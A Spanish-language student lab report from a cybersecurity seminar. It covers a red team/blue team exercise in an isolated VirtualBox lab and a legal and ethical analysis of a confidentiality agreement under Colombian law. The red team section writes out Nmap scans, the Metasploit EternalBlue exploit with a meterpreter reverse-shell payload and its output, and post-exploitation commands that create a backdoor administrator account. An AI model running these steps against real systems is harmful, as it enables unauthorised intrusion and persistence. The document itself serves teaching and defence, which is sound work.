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Resumen

Este informe técnico ofrece un analisis exhaustivo de las capacidades ofensivas y defensivas
empleadas durante el Seminario Especializado en Ciberseguridad de la UNAD - Fase 5. Se
simuld un escenario de ataque contra un equipo con Windows 7 SP1 vulnerable a la falla MS17-
010 (EternalBlue), utilizando herramientas de reconocimiento y explotacién de Kali Linux.
Siguiendo la funcion del Equipo Azul, se propusieron estrategias tedricas de contencion y
remediacion, de acuerdo con las recomendaciones de marcos internacionales como el CIS y el

NIST.

Ademas, se realizé un analisis ético y legal del escenario de CyberFort Technologies, que revelo
clausulas contractuales que violan la legislacién colombiana, como las Leyes 1273 de 2009 y

1581 de 2012, asi como los principios del Codigo de Etica de COPNIA.

El documento finaliza con recomendaciones aplicables en contextos reales que integran

capacidades técnicas, legales y de gestion.

Palabras clave: Blue Team; Ciberseguridad; EternalBlue; Legislacion colombiana; Red

Team.
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Tabla 1 Parametros de configuracion del ataque con Metasploit



Glosario

Equipo Azul: Un equipo que defiende la infraestructura de una organizacion contra
amenazas mediante la monitorizacion, la deteccion, la respuesta a incidentes y la gestion de

vulnerabilidades dentro de un marco legal.

Ciberseguridad: Es un conjunto de practicas, herramientas y politicas que protegen los
activos y usuarios de una organizacion en el entorno cibernético, a la vez que gestionan los

riesgos.

Ciberdelito: Un acto ilegal que implica el uso o ataque de tecnologias de la informacion,

segun lo define el Cédigo Penal Colombiano (por ejemplo, la Ley 1273 de 2009).

EternalBlue: Es un exploit filtrado de la NSA que utiliza una vulnerabilidad SMBv1 en
Windows para ejecutar codigo arbitrario. Su uso es estrictamente ético y estd aprobado para

pruebas.

Exploit: Es un software o script que aprovecha una vulnerabilidad para provocar un
comportamiento no deseado en un sistema, como la ejecucion de codigo o la escalada de

privilegios.

Kali Linux: Es una distribucion GNU/Linux para auditoria de seguridad y pruebas de

penetracion que incluye una gama de herramientas ofensivas y defensivas.

Metasploit Framework: Es una plataforma de cédigo abierto para desarrollar, probar y
ejecutar exploits; es esencial para los profesionales de la seguridad ofensiva (Red Team) y debe

usarse siempre de forma legal y ética.



Nmap (Network Mapper): Es una herramienta de codigo abierto para el descubrimiento
de redes y la auditoria de seguridad que puede escanear puertos, identificar servicios y

vulnerabilidades con consentimiento.

Payload: Es un componente de un exploit que realiza la accion deseada en un sistema

comprometido, como establecer una conexion remota o ejecutar codigo.

Equipo Rojo: Un equipo que simula ataques reales para evaluar las defensas de una
organizacion y la respuesta del Equipo Azul, siempre de acuerdo con las directrices éticas y

legales.

SMB (Bloque de Mensajes del Servidor): Es un protocolo de red que permite a los

dispositivos de una red compartir archivos, impresoras y puertos.



Introduccion

La ciberseguridad en el entorno empresarial requiere una formacién multidisciplinar que
incluya habilidades técnicas ofensivas y defensivas, dominio de herramientas, conocimientos
legales y solidos principios éticos. Este documento describe un procedimiento de formacioén que
simula ataques reales a una red local controlada, permitiendo a los estudiantes asumir los roles de

atacante (Equipo Rojo) y defensor (Equipo Azul) (E-magined, 2022).

Esta experiencia, ademas del aspecto técnico, requirié la toma de decisiones legales y
¢ticas basadas en un escenario simulado en el que una organizacién puso en riesgo la integridad

profesional al exigir silencio sobre actividades internas ilegales.

Las actividades técnicas se llevaron a cabo en un entorno de laboratorio completamente
virtualizado, lo que permitio la repeticion de procesos, la generacidon controlada de errores y la

documentacion de todas las pruebas necesarias para respaldar cada decision.



Objetivos

General:

Aplicar estrategias ofensivas y defensivas en un entorno controlado para identificar
vulnerabilidades, simular ataques e implementar medidas de contencion, cumpliendo con las
normas ¢ticas y legales colombianas.

Especificos:

Ejecutar pruebas de escaneo, explotacion y postexplotacion en un equipo Windows
vulnerable.

Ejecutar acciones defensivas realistas para aislar y proteger el sistema comprometido.

Analizar el marco legal colombiano frente a acuerdos de confidencialidad en contextos de

ciberseguridad.

Proponer recomendaciones técnicas, éticas y legales para fortalecer las capacidades

organizacionales ante amenazas informaticas.
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Desarrollo de 1a Actividad:
Etapa 1: Conceptos de Equipos de Seguridad y Configuracion del Entorno
Esta seccion describe la fase introductoria del seminario, que se centra en comprender las
funciones del Equipo Rojo y el Equipo Azul, asi como en configurar el entorno de laboratorio

para los ejercicios practicos.

Creacion y configuracion del entorno virtual.

Se procedi6 con la instalacion y configuracion de VirtualBox, una plataforma de
virtualizacion utilizada para simular un entorno de red aislado y seguro. Se configuraron dos
computadoras virtuales: una con Windows 7 (SP1 o posterior, vulnerable a MS17-010) y la otra

con Kali Linux.

Ambas maquinas se configuraron para funcionar dentro de una red interna, lo que permite
la comunicacion entre ellas sin exponerlas inmediatamente a redes externas, garantizando asi la

seguridad y el control del laboratorio.

Procedimiento de Instalacion de VirtualBox y Maquinas Virtuales:

Paso 1: Instalacion de VirtualBox. Se descargd e instalo VirtualBox desde su sitio oficial.



11

Figura 1

Virtual Box.
9
!
Herramientas e p 1 A
Noevs Afade  Configuracdn Tricar
—— - B General
_‘ O Apageta U lombre: GNS3 WM
Ststema operathe:  Ubusty (64-bt)
il | wiop A Sitess
T © Apsgete Meemoria base: 2048 MB
Orden de deranque: Disco duro, Optica
Acelerscin: Faginaciin andada, Mested VT-/AMD-V, PAE/N, Paravirtusizacidn VM
0 B
ﬂ B cwoni B pactala
Memoria de video: (1)
Contralador grifico: VBGOGA
SO ke Putstn de senvidor de escrtono reoto: 5909
f Lo i
2 Nemacenamiento
i | windows 7 Contretador: IO Controder
© roxpta Dispostvo IDE primano §:  GNSI VM- disk01.vél (Normal, 19,53 GB)
Controladoe: SATA Controlier
Poerto SATA 2: GNS3 VM-drek002.veh (Norma, 488,28 GB)
MV_RASSERRIPIOS & Red
d 0 Apageda

Adapkacce 1: - Ietel PRO/1000 MT Desitop (Adaptader solo anfiridn, «VirhsoiBax Host-Only Exharmet Adapters)
Adaptadce 2: Tntel PROVIS00 MT Daskaop (NAT)

o MiS2
L’! Lt Guardade | Ll

?b:::amw-ﬁu
P e
Paso 2: Configurar e importar Windows 7. Tras importar la imagen de Windows 7 (.ova),
se modificaron las especificaciones de hardware (p. ¢€j., 2 GB de RAM, 2 CPU) para garantizar el

maximo rendimiento. Para aislar el entorno, se selecciond "Red interna" en la configuracion de

red.

Figura 2

Red Windows.
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Paso 3: Configurar Kali Linux e importarlo. Se siguieron pasos similares para importar la

imagen de Kali Linux (.ova), asignarle los recursos adecuados (p. ¢j., dos CPU, 2-4 GB de

RAM) y configurar su adaptador de red en "Red interna" para que pudiera comunicarse con

Windows 7. (Andress, 2019)

Figura 3

Red Kali.
kali linux - Configuracion

N e Red

B | sistema

- Pantalla Habilitar adaptador de red

Conectado a:  Adaptador puente

2\ Almacenamiento
rad

I ) Audio > Avanzado

\-.-_I. Red

Adaptador 1 Adaptador 2 Adaptador 3

Mombre: Intel(R) Wi-Fi 6 AX201 160MHz ~

Desde Windows 7, se ejecuto el comando ipconfig para obtener su direccion IP.

Figura 4

Ip Windows
ﬂ

Archivo Maquina Ver Entrada Disp

B Administrador: C\Windows'system32\cmd.exe
Microsoft Windows [Uersion 6.1.76811

Copyright (c?> 2889 Microsoft Corporation. Reservados todos los derechos.

C:s\Userssusuariorip addres

"ip" no se reconoce como un comando interno o externo.
programa o archivo por lotes ejecutable.
C:sUserssusuario>ipconfiyg

Configuracidon IP de Windouws

fAdaptador de Ethernet Conexidn de Area local:

Bufijo DNS especifico para la conexidn. . : hbhrouter

Vinculo: direccidn IPvw6 local. . .
Direccién IPu4 =1 1@1.

Miscara de subred = 255.255.255.8
Puerta de enlace predeterminada : 192.168.181.1

Adaptador de tinel isatap.bbrouter:

Estado de los medios : medios desconectados

Sufijo DHS especifico para la conexidn. . : bbrouter

C:xUzerssusuarior

: feBA::4842: 9034:4338;7898211




Desde Kali Linux, se ejecutd el comando ifconfig para obtener su direccion IP

Figura 5

IP Kali

[sudo] contrasena para kali:

eth®:

/home/kali

d924 p
ueuelen

JP, LOOPBACK, RUNNING> mtu

frame @

ytes 11 ]
ed @ p carrier @ collisions @

Importancia del Entorno de Laboratorio Aislado:

13

La creacion de un entorno virtual aislado es una préctica fundamental en ciberseguridad.

Permite a profesionales y estudiantes experimentar con herramientas y técnicas de ataque y

defensa sin comprometer los sistemas de produccion ni las redes externas. Es un campo de

pruebas €tico que imita las condiciones reales para un aprendizaje practico y seguro.

Etapa 2: Ataques de Red Team: Explotacion de Vulnerabilidades:

Esta fase se centrd en simular un ataque real utilizando las herramientas y técnicas del

Equipo Rojo para identificar y explotar vulnerabilidades en el sistema Windows 7, cumpliendo

con el marco legal y los estandares profesionales establecidos.
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Reconocimiento y Escaneo de Puertos con Nmap:

El primer paso fue realizar un reconocimiento en el equipo objetivo (Windows 7 con IP
192.168.101.11) con Kali Linux. Se utiliz6 la herramienta Nmap para escanear todos los puertos
y servicios abiertos, asi como para identificar la version del sistema operativo (Skoudis & Liston,

2006).

Este paso es fundamental para comprender la superficie de ataque, identificar posibles

fallas y disefar la estrategia para la fase de explotacion dirigida.

Escaneo basico de host activo: Primero, se realizé un anélisis de ping simple para

garantizar que el equipo objetivo estuviera activo en la red interna.

nmap -SN 192.168.101.0/24 (Este comando analiza la red interna en busca de hosts

activos, incluyendo Windows 7 y Kali Linux).

Analisis de puertos y deteccion de servicios/versiones:

Una vez validada la direccion IP de destino (192.168.101.11), se realiz6 un escaneo
exhaustivo con Nmap para detectar puertos abiertos y sus servicios asociados, incluyendo las
versiones. Esta informacidn permite identificar vulnerabilidades especificas como el CVE-2017-

0144 (MS17-010), que afecta al protocolo SMBv1 en Windows 7 (Skoudis & Liston, 2006).

nmap -sV -T4 -A -p 192.168.101.11 (Este comando analiza todos los puertos y encuentra

versiones de servicios para la direccion IP de Windows 7).
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Figura 6
Scan Nmap

/home/kali

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-29 10:19 -05
Nmap scan report for PC202006.bbrouter (192.168.101.11)
Host is up (0.0016s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
554/tcp open rtsp?
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| _http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:92:80:C0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 2008|7|vistal8.1
0S CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1
0S details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1
Network Distance: 1 hop
Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

Analisis de Nmap: La informacion recopilada por Nmap fue crucial para el siguiente
paso. El descubrimiento del puerto 445 (SMB) abierto en un equipo con Windows 7 que no
contaba con los parches de seguridad més recientes es un claro indicador de la vulnerabilidad
MS17-010 (EternalBlue). Este descubrimiento orientd la fase posterior de la simulacion hacia la

explotacion precisa de esta debilidad.

Explotacion de la Vulnerabilidad MS17-010 (EternalBlue) con Metasploit:

Tras identificar la probable vulnerabilidad SMB, Se inici6 el uso de Metasploit

Framework para la explotacion de la vulnerabilidad EternalBlue en el puerto 445 del sistema

Windows 7 (Andress, 2019).

para obtener acceso no autorizado y control sobre el sistema Windows 7

(192.168.101.11).
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Procedimiento Detallado con Metasploit:

Inicio de Metasploit: Se abrid la consola de Metasploit en Kali Linux (msfconsole) para

iniciar las operaciones de explotacion.

Figura 7

Metasploit

/home/kali
Metasploit tip: Use sessions -1 to interact with the last opened session
[ %%RAXEXRXX%%

[ AAAEXXXXXXXD
[ X XXXXX%%

]
]
]
]
]
]
]
]
]
]

2500 exploits - 1289 auxiliary - 431 post
1610 payloads - 49 encoders - 13 nops
9 evasion

+ -

+ -

————

+ -

Metasploit Documentation: https://docs.metasploit.com/

Busqueda y seleccion de exploits: Se busco un exploit para la vulnerabilidad EternalBlue

en la base de datos de Metasploit.

search ms17-010

msf6 > search smb windows 7



17

Figura 8

SMB

Configuracion de las opciones de exploit: Se configuraron las opciones de exploit

adecuadas para dirigir el ataque al objetivo. Para la conexion inversa, la direccion IP del objetivo
(RHOSTYS) fue 192.168.101.11 y la direccién IP local de Kali Linux (LHOST) fue

192.168.101.9.

Opciones de visualizacion (para ver las opciones configurables).

set RHOSTS 192.168.101.11

set LHOST 192.168.101.9
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Figura 9

Payload

msf6 > use exploit/windows/smb/ms17_010_eternalblue

No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set RHOST 192.168.101.11
RHOST = 192.168.101.11
msf6 exploit( ) > set LHOST 192.168.101.9
LHOST = 192.168.101.9

msf6 exploit( ) set LPORT 4444
LPORT = 4444

msf6 exploit( ) set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD = windows/x64/meterpreter/reverse_tcp
msf6 exploit( Y |

Seleccion del Payload: Se seleccioné un Payload adecuado para establecer una sesion
remota en el sistema objetivo. La carga ttil windows/x64/meterpreter/reverse tcp se utiliza con

frecuencia debido a su versatilidad y al control avanzado sobre el equipo comprometido.

set payload windows/x64/meterpreter/reverse tcp

Ejecucion del Exploit: Finalmente, se ejecutd el exploit con las opciones configuradas.

exploit o run



Figura 10

Ejecucion Payload

msf6 exploit( ) > run
Started reverse TCP handler on 192.168.101.9:4444
192.168.101.11:445 - Using auxilia
192.168.101.11:445 - Host is 1i
.168.101.11:445 - Scanned
.168.101.11:445 - The ta is vulnerable.
.168.101.11:445 - Connecting to target for exploitation.
2.168.101.11:445 - Connection established for exploitation.
.168.101.11:445 - Target 0S selected valid for 0S indicated
.168.101.11:445 - CORE raw buffer dump (42 bytes)
.168.101.11: 0x00000000 57 69 6e 64 6f 77 73 20
.168.101.11: 0x00000010 73 69 6f 6e 61 6c 20 37
.168.101.11:445 - 0x00000020 69 63 65 20 50 61 63 6b
.168.101.11:44 Target arch selected valid for arch
2.168.101.11:44 Trying exploit with 12 Groom Allocations.
.168.101.11:4
.168.101.11:4
.168.101.11:4
.168.101.11:
.101.11:44
.101.11:
.168.101.11:4
.168.101.11:
.168.101.11:4
2.168.101.11:4
Sending stage

1 of 1 hosts (100% complete)

37 20
36 30
20 31

Starting non-paged pool grooming

Sending SMBv2 buffers

Closing SMBv1 connection ¢

Sending final SMBv2 buffers.

Sending last fragment of exploit packet!
- Receiving response from exploit packet

Sending egg to corrupted connection.
Triggering free of corrupted buffer.
03846 bytes) to 192.168.101.11
Meterpreter ion 1 opened (19
[+] 192.168.101.11:445 -
[+] 192.168.101.11:445 -
[+] 192.168.101.11:445 -

168.101.11

meterpreter > |

50 72 6f 66 65 73
31 20 53 65 72 76

indicated by DCE/RPC

Sending all but last fragment of exploit packet

19

canner/smb/smb_ms17_010 as check
1y VULNERABLE to MS17-010! - Windows 7

Professional 7601 Service Pack 1 x64 (64-bit)

by SMB reply

Windows 7 Profes
sional 7601 Serv
ice Pack 1

reply

ting free hole adjacent to SMBv2 buffer.

- ETERNALBLUE overwrite completed successfully (0xC000000D)

9161) at -04-29 11:04:20 -0500

Configuracion de las opciones de exploit: Se configuraron las opciones de exploit

adecuadas para dirigir el ataque al objetivo. Para la conexion inversa, la direccion IP del objetivo

(RHOSTS) fue 192.168.101.11 y la direccion IP local de Kali Linux (LHOST) fue

192.168.101.9.

Se obtiene una sesion Meterpreter con privilegios NT AUTHORITY\SYSTEM, lo que

demuestra que el atacante podria tomar control total del sistema, tal como se describe en el

Anexo 4.

Post-explotacion

Obtener shell y comprobar permisos:

getuid

sysinfo
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Figura 11

Comprobar permisos

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
PC202006
: Windows 7 (6.1 Build 7601, Service Pack 1).

: x64

System Language : es_CO

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x64/windows

meterpreter > Server username: NT AUTHORITY\SYSTEM

Crear usuario administrador PoC
Ahora que tenemos la sesion activa, ejecutamos el comando:
execute -f cmd.exe -i

Figura 12

Ejecucion de comando

Process
Channel ea
Mic) | [Versien 6.1.7601]

P9 Microsoft Corporation. Reservados todos los derechos.

El comando execute -f cmd.exe -1 se us6 para spawnear una shell interactiva de Windows,

ya que algunos comandos de post-explotacion (como net user) requieren acceso directo a cmd.
Esto abre una consola interactiva de comandos dentro de Windows.
Para demostrar persistencia, se ejecuto el siguiente comando conforme al Anexo 4:

net user renzolopez 12345 /add
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Flevacion a administrador:

net localgroup administradores renzolopez /add

Figura 13
Persistencia

C:\Windows\system32>net user renzolopez 12345 /add
net user renzolopez 12345 /add
Se ha completado el comando correctamente.

C:\Windows\system32>net localgroup administradores renzolopez /add

net localgroup administradores renzolopez /add
Se ha completado el comando correctamente.

C:\Windows\system32>}

Esto simula como un atacante real mantendria acceso a la maquina, incluso después de
reinicios.
Verificar que el usuario fue creado correctamente:

Desde la misma shell:

net user renzolopez
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Figura 14
Verificacion

indowshsystem32>net user renzolope
net user renzolopez
Nombre de usuario
Nombre completo
Comentario
Comentario del usuario
Cedi de pa#s 080 (Pre por el equipo)
Cuenta activa
La cuenta expira

La contr:

ntrase#a requerida

El vsuario puede cambiar la

aciones de trabajo autorizada
e ipt de inicioc de sesien
Perfil de usuario
Directorio principal
Ultima sesien iniciada Nunca

Horas de inicio de sesi#n autorizada Todas

Miembros del grupo local *Administradores
*Jsuarios

Miembros del grupo global *None

- ha completado el comando correctamente.

Mediante el comando net user renzolopez, se confirma que el usuario fue creado
correctamente en el sistema comprometido, con grupo asignado 'Administradores'. Esto cumple
con el requisito del Anexo 4 de demostrar persistencia mediante la creacion de un usuario no
autorizado. Adicionalmente, se observa en la interfaz grafica del sistema Windows (Figura 18)

que el usuario aparece en la lista de cuentas, validando el compromiso total del sistema.
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Analisis técnico del exploit:

El ataque de ejecucion remota de codigo MS17-010, comtinmente conocido como
EternalBlue, inserta paquetes maliciosos que permiten la ejecucion de codigo arbitrario
aprovechando errores en la gestion del trafico SMB. Dado que permite permisos de SISTEMA 'y

no requiere autenticacion, es muy peligroso.

Fase de explotacion: El mddulo de explotacion /windows/smb/ms17 010 eternalblue se

configuré mediante Metasploit con:

RHOSTS =192.168.101.11

LHOST =192.168.101.9

Payload windows/x64/meterpreter/reverse tcp

Para obtener control total sobre el host victima, se cred una sesion de Meterpreter con

permisos de SISTEMA.

Fase de post-explotacion:

Mediante net user y net localgroup, se estableci6 un usuario persistente llamado
"renzolopez" con permisos de administrador. Para confirmar el control total del sistema, también

se emplearon sysinfo y getuid.

Ademas, un atacante legitimo podria:

e Hashdump podria usarse para volcar credenciales.

e Utilizar search -f *.docx para buscar documentos confidenciales en el sistema.

e Activar puertas traseras o keyloggers para obtener mas acceso.
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Tabla 1

Parametros de configuracion del ataque con Metasploit

Parametro Valor Descripcion técnica
RHOSTS 192.168.101.11 Direccién IP del equipo victima (Windows 7)
LHOST 192.168.101.9 Direccion IP del atacante (Kali Linux)
Exploit msl17 010 eternalblue Moédulo de exploit para CVE-2017-0144
Payload windows/x64/meterpreter/reverse_tcp Carga 1til que abre una sesion remota persistente

Comando final exploit Ejecuta el ataque configurado
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Etapa 3: Defensa conceptual y analisis estratégico:

Una vez confirmada la explotacion del sistema objetivo a través de la vulnerabilidad
MS17-010, las acciones defensivas se fundamentaron en controles como la gestion de
vulnerabilidades, proteccion de red y manejo de incidentes, siguiendo lo establecido por los CIS

Controls v8 (CIS, 2022).

A diferencia de otros entornos donde se emplean herramientas automatizadas o defensas
activas, en este caso se optd por un enfoque estratégico y tedrico que permitié identificar las
acciones clave a tomar en un escenario como el descrito. El analisis del incidente se baso en las

practicas descritas en la Guia de Manejo de Incidentes del NIST SP 800-61r2 (NIST, 2012).

Identificacion del incidente:

El primer paso es detectar la vulnerabilidad. La creacion de un usuario no autorizado con
credenciales de administrador (renzolopez) es una sefial evidente de acceso no autorizado. Para

detectar este tipo de accion, el Equipo Azul debe investigar:

Eventos del Visor de Eventos de Windows:

4720: Creacion de cuenta de usuario

Figura 15

Nuevo Usuario

C:\Windows\system32>net user renzolopez 12345 /add
net user renzolopez 12345 /add

Se ha completado el comando correctamente.
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4624: Inicio de sesidn exitoso

Figura 16

Comando Net User

et user renzolopez

renzolopez

io del usuario
de paes 090 (Predeterminado por el equipo)
cti Se
Nunca

4688: Ejecucion de comandos cuestionables (como cmd.exe)

Figura 17

Spawnear Shell

meterpreter > execute -f cmd.exe -i
Process 1852 created.
Channel 1 created.

Microsoft Windows [Versien 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

En situaciones reales, estos eventos se conectarian mediante un SIEM. En este
laboratorio, estos eventos se identifican manualmente como indicadores de advertencia criticos

que activan el plan de reaccion.

Contencion inmediata propuesta:

Tras confirmar el acceso no autorizado mediante la deteccion de eventos en el Visor de
Eventos de Windows (4720, 4624, 4688), se recomienda aplicar medidas inmediatas de
contencidn para evitar movimientos laterales y persistencia del atacante. Estas acciones incluyen
la eliminacion del usuario malicioso, la desactivacion del protocolo SMBv1 y el bloqueo del

puerto 445 a través del firewall local (NIST, 2012).:
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FEliminacion del usuario malicioso con comandos como:

Figura 18

Eliminar Usuario

B Administrador: CAWindows'System32\ cmd exe

Microsoft Windows [Uersidn 6.1.76011
Copyright (¢ 208? Microsoft Corporation. Reservados todos los derechos.

C:sWindowsssystem32 *net user renzolopez Adelete
%e ha completado el comando correctamente.

C:sMindowsssystem32 >

Desactivacion del protocolo SMBv1, vector principal de ataque, mediante:

Figura 19
Desactivacion SMBv1

sMindowsssystem3d2 >
sMindowsssystend2»zec config lanmanworkstation depend= howser/mrxsmb2B-nsi

5C]1 ChangeServiceConf ig CORRECTO

MindowsssystemdZ>se config mrxzmbl@ start= dizabled
5C]1 ChangeServiceConf ig CORRECTO

sHindowsssystemd2 »g

Esta accion desactiva el servicio mrxsmb10, responsable del soporte SMBv1 en sistemas

antiguos, y requiere reiniciar el sistema para aplicarse completamente.
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Implementacion de reglas de firewall en el sistema Windows para bloquear el puerto 445:

Figura 20

Regla Firewall

C:sUWindowsssystemd2netsh advfirewall firewall add rule name=""Bloguear SHB" dir=
in action=hlock protocol=TCP localport=445
Aceptar

C:sUWindowsssystemd2 >

netsh advfirewall firewall add rule name="Bloquear SMB" dir=in action=block

protocol=TCP localport=445

Esta regla bloquea el puerto 445 TCP en conexiones entrantes, mitigando el riesgo de

explotacion del protocolo SMBvI asociado a vulnerabilidades como MS17-010.

Propuestas de hardening y prevencion futura:

Para evitar incidentes similares, se recomienda implementar un conjunto de medidas

técnicas alineadas con los controles CIS:

Control 4: Gestion de vulnerabilidades: Analizar y aplicar parches de seguridad

periddicamente.

Control 5: Configuracion segura de hardware/software — Deshabilitar servicios no
utilizados, implementar el Control de cuentas de usuario (UAC) y auditar los registros de

eventos.

Control 8: Gestion de cuentas: Usar contrasefias complejas y revisar cuentas y privilegios

periddicamente.
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Control 13: Proteccion de red — Implementar VLAN y segmentacion para entornos

criticos.

Un ejemplo:

Se recomienda la virtualizacion en areas sin acceso directo a internet para aislar entornos

Windows 7 que aln se utilizan.

Se utilizan herramientas de auditoria como CIS-CAT Lite para validar las configuraciones

de acuerdo con estandares internacionales.

Diferencias con el equipo IR (Respuesta a Incidentes):

Es fundamental destacar que el Equipo Azul funciona de forma preventiva y continua,
mientras que el Equipo de Respuesta a Incidentes (IR) actiia de forma reactiva cuando se

identifica un ataque.

El Equipo Azul fortalece el sistema y reduce la probabilidad de un ataque. Si se produce
un incidente de este tipo, el Equipo de Respuesta a Incidentes mitiga sus consecuencias. Ambos

roles deben trabajar en conjunto.

Etapa 4: Analisis legal y ético del escenario: caso de CyberFort Technologies.

El acuerdo presentado por CyberFort viola normas nacionales como la Ley 1273 de 2009,
que penaliza el acceso abusivo a sistemas y la violacion de datos personales (Congreso de

Colombia, 2009).

Desde una perspectiva defensiva, esta etapa adoptd una estrategia regulatoria y

estratégica basada en marcos como los siguientes para imitar el rol del Equipo Azul:

La Guia de Respuesta a Incidentes, NIST SP 800-61r2,
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Controles CIS Version 8

ISO/IEC 27035 (gestion de incidentes).

Deteccion: Las siguientes incidencias son indicativas de las acciones del atacante

(creacion de una cuenta, uso de cmd.exe):

4720 (creado por el usuario)

4624 (inicio de sesion)

4688 (ejecucion de proceso sospechoso)

En entornos empresariales, un SIEM como Splunk, AlienVault o Wazuh correlacionaria

estas acciones. Este procedimiento se replicO manualmente en el laboratorio.

La eliminacion del usuario malintencionado es el primer paso para la contencion.

El protocolo SMBvV1 esta deshabilitado.

Se asegura el firewall local para evitar el acceso a puertos como 445/TCP.

Desde una perspectiva defensiva, esta etapa adoptd una estrategia regulatoria y

estratégica basada en marcos como los siguientes para imitar el rol del Equipo Azul:

La Guia de Respuesta a Incidentes, NIST SP 800-6112,

Controles CIS Version 8

ISO/IEC 27035 (gestion de incidentes).

Prevencion y Recuperacion: Aplicacion mensual de parches de WSUS o SCCM.

Herramientas para fortalecer la validacion, como CIS-CAT Lite.
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Segmentacion de red basada en VLAN.

Aplicacion de autenticacion de dos factores (MFA) con el principio de privilegios

minimos.
Rol complementario del equipo de IR:

El trabajo proactivo del Equipo Azul se distinguio6 del trabajo reactivo del IR, enfatizando
la importancia de la coordinacion y las pruebas recurrentes de recuperacion ante desastres

(DRP).
Irregularidades legales:
Un analisis exhaustivo del anexo revela clausulas como:

"El empleado se compromete a no denunciar ante ninguna autoridad ninguna actividad

sospechosa de espionaje, suplantacion de identidad o apropiacion indebida de informacion".
Esta condicion viola los siguientes articulos de la Ley 1273 de 2009:
Articulo 269A: Acceso abusivo a un sistema informatico.
Articulo 269F: Violacion de datos personales.
Articulo 269H: Uso indebido de software malicioso.

Ademas, estas clausulas podrian interpretarse como un intento de ocultacion de

informacion, lo cual también es ilegal segtn el articulo 450 del Cédigo Penal colombiano.
Incompatibilidad ética:

Desde una perspectiva profesional, el acuerdo viola el Codigo de Etica de COPNIA,

concretamente los principios de:
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La responsabilidad social es la obligacion de alertar a otros sobre problemas técnicos.

La integridad y la honestidad implican no participar ni apoyar actividades ilicitas.

La autonomia profesional implica negarse a ejecutar 6rdenes contrarias al interés publico.

La firma de un contrato con estas disposiciones convierte al profesional en un
colaborador pasivo de la ciberdelincuencia, lo cual constituye una grave violacion de la ética

profesional.

Analisis del consecuencias:

Aceptar tales requisitos puede resultar en:

La complicidad puede resultar en sanciones penales.

Inhabilitacion profesional por comportamiento poco ético.

Existe un dafo reputacional irreversible.

La responsabilidad civil ante terceros es un asunto civil.

Recomendaciones juridicas y éticas:

Todo contrato debe ser evaluado por un abogado especializado en tecnologias de la

informacion.

Se deben eliminar las clausulas que contradigan la obligacion de informar o proteger

datos.

Las empresas deben formar comités éticos internos para supervisar estas situaciones.
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Para evitar ser enganados o manipulados, los profesionales deben estar capacitados en la

legislacion nacional e internacional.

Existen importantes preocupaciones éticas, legales y profesionales con el escenario
planteado por CyberFort Technologies, donde se solicita a un experto en ciberseguridad que
firme un acuerdo de confidencialidad que le prohibe denunciar actividades cuestionables como
robo de identidad, espionaje o robo de informacion. Este acuerdo constituye una clara violacion
de las normas internacionales que regulan la ciberseguridad como ambito tecnologico y legal,

ademas de leyes nacionales como la Ley 1273 de 2009 y la Ley 1581 de 2012.

Analisis de la legislacion nacional:

De la legislacion colombiana se desprende que las siguientes cldusulas del acuerdo

infringen:

La Ley 1273 de 2009, que prohibe el uso de software malicioso (Articulo 269H), la violacion de
datos personales (Articulo 269F) y el acceso no autorizado a sistemas informaticos (Articulo

269A).

Ley 1581 de 2012, que establece el deber legal de denunciar el procesamiento indebido
de informacion y consagra el derecho fundamental a la proteccion de la informacion personal de

salud.

Articulo 450 del Cédigo Penal, que sanciona la omision en el deber de denunciar delitos.

Ademas, este tipo de disposiciones pueden constituir una especie de obligacion

contractual, lo que atentaria contra el derecho del profesional a actuar de forma independiente y
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legal. La firma de tales acuerdos podria, en circunstancias graves, considerarse complicidad o

participacion pasiva en una actividad ilegal.
Perspectiva Global:

El Convenio de Budapest sobre Ciberdelincuencia, ratificado mediante la Ley 1331 de 2009, es
un acuerdo internacional que Colombia ha ratificado. Este tratado obliga a los gobiernos
miembros a garantizar que sus ciudadanos denuncien los delitos con consecuencias y fomenta la
colaboracion internacional en la lucha contra la ciberdelincuencia. Por lo tanto, las obligaciones
internacionales del Estado colombiano son totalmente contrarias a cualquier tratado que restrinja

la obligacion de divulgacion. (OEA, 2021)

La Union Internacional de Telecomunicaciones (UIT) y la Organizacion de los Estados
Americanos (OEA) son dos organizaciones multinacionales que también han publicado
propuestas que apoyan la rendicion de cuentas, la presentacion de informes responsables y la

transparencia como componentes esenciales de la gobernanza digital.
Desde un punto de vista ético y deontologico:

e El acuerdo transgrede las siguientes normas éticas del Codigo de Etica de

COPNIA:
e Mantener la integridad profesional implica abstenerse de actividades ilicitas.
e Responsabilidad social, que exige revelar riesgos €ticos o tecnologicos.

Autonomia profesional, que respalda la denegacion de directivas contrarias al interés publico.

(COPNIA, 2003).



35

Estos estandares éticos se ajustan a los de organizaciones internacionales como ISACA,
(ISC)2 y EC-Council, que exigen que los profesionales de la seguridad prioricen la proteccion de

